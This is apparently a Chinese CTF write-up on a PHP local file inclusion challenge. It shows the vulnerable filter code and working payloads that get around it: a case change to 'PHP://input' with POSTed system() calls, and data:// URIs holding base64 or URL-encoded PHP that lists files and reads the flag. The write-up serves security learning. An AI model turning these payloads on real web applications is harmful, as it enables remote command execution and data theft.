一、基本方法:大小写绕过
考察的是文件包含,page中带有php://的都会被替换成空,str_replace()以其他字符替换字符串中的一些字符(区分大小写),strstr() 查找字符串首次出现的位置。返回字符串剩余部分。
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
程序过滤掉了page=参数传入php://
可以大小写绕过,strstr(),该函数是区分大小写的。不区分大小写的搜索,用 stristr() 函数。。str_replace() 函数替换字符串中的一些字符(区分大小写)。
所以我们构造 ?page=PHP://input
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
post传入
<?php system("ls") ?>//读取文件目录
//而后
<?php system("cat fl4gisisish3r3.php ") ?>
在代码中获取flag。
二、data://伪协议执行命令利用
格式
data://text/plain;base64,xxxx(base64编码后的数据)
自 PHP 5.2.0 起 data:数据流封装器开始有效。
于是我们构造:(base64编码后的+号要变成url编码)
?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b
同理,读取文件
?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwICIpID8%2bIA==
其实不需要通过base64编码来实现!将<?php system("cat fl4gisisish3r3.php ") ?>改变成url编码(或者其他的命令)。这样浏览器可以识别。
格式:
data://text/plain,xxx(url编码)
?page=data://text/plain,<%3Fphp system("cat fl4gisisish3r3.php ") %3F>